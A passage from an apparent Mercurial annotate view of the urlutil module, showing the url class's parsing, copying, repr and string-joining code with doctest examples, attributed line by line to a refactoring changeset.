ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
176 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
177
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
178 if parsequery and b'?' in path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
179 path, self.query = path.split(b'?', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
180 if not path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
181 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
182 if not self.query:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
183 self.query = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
184
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
185 # // is required to specify a host/authority
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
186 if path and path.startswith(b'//'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
187 parts = path[2:].split(b'/', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
188 if len(parts) > 1:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
189 self.host, path = parts
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
190 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
191 self.host = parts[0]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
192 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
193 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
194 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
195 # path of file:///d is /d
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
196 # path of file:///d:/ is d:/, not /d:/
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
197 if path and not hasdriveletter(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
198 path = b'/' + path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
199
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
200 if self.host and b'@' in self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
201 self.user, self.host = self.host.rsplit(b'@', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
202 if b':' in self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
203 self.user, self.passwd = self.user.split(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
204 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
205 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
206
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
207 # Don't split on colons in IPv6 addresses without ports
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
208 if (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
209 self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
210 and b':' in self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
211 and not (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
212 self.host.startswith(b'[') and self.host.endswith(b']')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
213 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
214 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
215 self._hostport = self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
216 self.host, self.port = self.host.rsplit(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
217 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
218 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
219
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
220 if (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
221 self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
222 and self.scheme == b'file'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
224 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
225 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
226 _(b'file:// URLs can only refer to localhost')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
227 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
228
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
229 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
230
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
231 # leave the query string escaped
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
233 v = getattr(self, a)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
234 if v is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
235 setattr(self, a, urlreq.unquote(v))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
236
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
237 def copy(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
238 u = url(b'temporary useless value')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
239 u.path = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
240 u.scheme = self.scheme
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
241 u.user = self.user
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
242 u.passwd = self.passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
243 u.host = self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
244 u.path = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
245 u.query = self.query
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
246 u.fragment = self.fragment
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
247 u._localpath = self._localpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
248 u._hostport = self._hostport
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
249 u._origpath = self._origpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
250 return u
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
251
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
252 @encoding.strmethod
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
253 def __repr__(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
254 attrs = []
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
255 for a in (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
256 b'scheme',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
257 b'user',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
258 b'passwd',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
259 b'host',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
260 b'port',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
261 b'path',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
262 b'query',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
263 b'fragment',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
264 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
265 v = getattr(self, a)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
266 if v is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
268 return b'<url %s>' % b', '.join(attrs)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
269
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
270 def __bytes__(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
271 r"""Join the URL's components back into a URL string.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
272
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
273 Examples:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
274
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
278 'http://user:pw@host:80/?foo=bar&baz=42'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
280 'http://user:pw@host:80/?foo=bar%3dbaz'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
282 'ssh://user:pw@[::1]:2200//home/joe#'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
283 >>> bytes(url(b'http://localhost:80//'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
284 'http://localhost:80//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
285 >>> bytes(url(b'http://localhost:80/'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
286 'http://localhost:80/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
287 >>> bytes(url(b'http://localhost:80'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
288 'http://localhost:80/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
289 >>> bytes(url(b'bundle:foo'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
290 'bundle:foo'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
291 >>> bytes(url(b'bundle://../foo'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
292 'bundle:../foo'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
293 >>> bytes(url(b'path'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
294 'path'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
295 >>> bytes(url(b'file:///tmp/foo/bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
296 'file:///tmp/foo/bar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
298 'file:///c:/tmp/foo/bar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
299 >>> print(url(br'bundle:foo\bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
300 bundle:foo\bar
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
301 >>> print(url(br'file:///D:\data\hg'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
302 file:///D:\data\hg
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
303 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
304 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
305 s = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
306 if self.scheme == b'bundle':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
307 s = b'bundle:' + s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
308 if self.fragment:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
309 s += b'#' + self.fragment
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
310 return s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
311
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
312 s = self.scheme + b':'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
313 if self.user or self.passwd or self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
314 s += b'//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
315 elif self.scheme and (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
316 not self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
317 or self.path.startswith(b'/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
318 or hasdriveletter(self.path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
319 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
320 s += b'//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
321 if hasdriveletter(self.path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
322 s += b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
323 if self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
324 s += urlreq.quote(self.user, safe=self._safechars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
325 if self.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
327 if self.user or self.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
328 s += b'@'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
329 if self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
331 s += urlreq.quote(self.host)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
332 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
333 s += self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
334 if self.port:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
335 s += b':' + urlreq.quote(self.port)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
336 if self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
337 s += b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
338 if self.path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
339 # TODO: similar to the query string, we should not unescape the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
340 # path when we store it, the path might contain '%2f' = '/',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
341 # which we should *not* escape.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
342 s += urlreq.quote(self.path, safe=self._safepchars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
343 if self.query:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
344 # we store the query in escaped form.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
345 s += b'?' + self.query
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
346 if self.fragment is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
348 return s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
349
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
350 __str__ = encoding.strmethod(__bytes__)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
351
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
352 def authinfo(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
